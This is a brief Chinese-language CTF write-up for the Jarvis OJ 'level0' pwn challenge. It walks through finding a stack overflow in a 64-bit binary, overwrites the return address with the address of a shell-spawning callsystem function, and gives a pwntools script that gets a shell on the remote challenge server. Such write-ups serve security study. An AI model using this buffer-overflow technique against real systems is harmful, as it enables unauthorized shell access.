Pwn-level0
题目地址
https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d
第一步先看文件的属性 64位
之后检查保护性
用IDA打开,观察伪代码F5
跳出hello world,然后返回vulnerable_function函数
这边发现一个可以直接get shell的函数callsystem
read函数存在栈溢出,我们可以利用栈溢出把返回地址覆盖程callsystem的入口地址
需要覆盖0x88个字符(0x80+0x8)
利用代码如下
from pwn import * r=remote('pwn2.jarvisoj.com',9881) payload='a'*0x88+p64(0x400596) r.sendline(payload) r.interactive()
执行
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步